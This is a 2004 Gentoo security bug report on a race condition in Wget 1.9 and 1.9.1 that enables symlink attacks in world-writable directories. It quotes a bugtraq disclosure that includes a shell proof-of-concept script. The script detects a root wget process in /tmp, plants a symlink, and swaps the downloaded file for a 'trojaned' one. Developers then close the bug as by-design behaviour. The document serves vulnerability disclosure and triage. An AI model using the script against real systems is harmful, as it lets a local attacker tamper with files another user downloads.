Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 51365 - Wget 1.9, 1.9.1: possible race condition, symlink attacks
Summary: Wget 1.9, 1.9.1: possible race condition, symlink attacks
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High major (vote)
Assignee: Gentoo Security
Depends on:
Reported: 2004-05-18 01:42 UTC by Tobias Weisserth
Modified: 2011-10-30 22:39 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Note You need to log in before you can comment on or make changes to this bug.
Description Tobias Weisserth 2004-05-18 01:42:14 UTC
Hugo Vazquez Caram
Comment 1 Tobias Weisserth 2004-05-18 01:42:14 UTC
Hugo Vazquez Caramés has discovered a vulnerability in wget and published it on bugtraq. This is his email, a working POC is included:

Tested software: Wget 1.9, Wget 1.9.1

Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack
(only on world writable directories)

This is the attack sequence:

1) Wget process starts
2) File checking (but not locking!)
              <--- attacker creates symlink
3) Wget writes on the wrong place

As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking". 

1)Open a shell and execute with user A.
2)Open another shell and with root user launch wget from /tmp:
3) Check the content of /tmp/patch-2.4.26.bz2

Smile :-)

--------------- ------------------------

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
   ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
   a=`cat salida.txt`

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
while [ "$c" == 1 ]
  if [ -e .wget ]
    echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
    rm -f /tmp/patch-2.4.26.bz2
    echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

    ls -la /tmp/patch-2.4.26.bz2

  b=`pgrep -u root wget`
  touch $b.wget




This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.

Hugo Vazquez Caramés

Reproducible: Always
Steps to Reproduce:
See POC by Hugo Vazquez Caramés
Comment 2 Thierry Carrez (RETIRED) gentoo-dev 2004-05-18 05:52:03 UTC
Hmm I'm not that sure about that one.

I think the problem comes from having an application using wget to save a temporary file in a world-writable location without first checking for a symlink attack. I'm not sure it's wget's fault. It is rather the wget-calling application's fault. "cp" exhibits the same behaviour, yet nobody says cp is vulnerable.

Please anyone, prove me wrong ?
Comment 3 Thierry Carrez (RETIRED) gentoo-dev 2004-05-21 00:52:25 UTC
If someone submits a patch to fix this behaviour, we'll consider it. If nothing is submitted in the next 4 days we'll consider this is normal behaviour and close as WONTFIX.

Tobias : did the poster follow-up with a patch or was there a discussion to support his point of view ?
Comment 4 Tobias Weisserth 2004-05-21 02:35:39 UTC
There are no follow up messages on bugtraq and full-disclosure. Let's just wait those 4 days and then do as you propose. I'll keep an eye on bugtraq and full-disclosure meanwhile.

Comment 5 Thierry Carrez (RETIRED) gentoo-dev 2004-05-26 10:44:15 UTC
No fix -- this behaviour is by design and any developer using wget in his application should avoid world-writable directories as temporary store.
Closing as CANTFIX.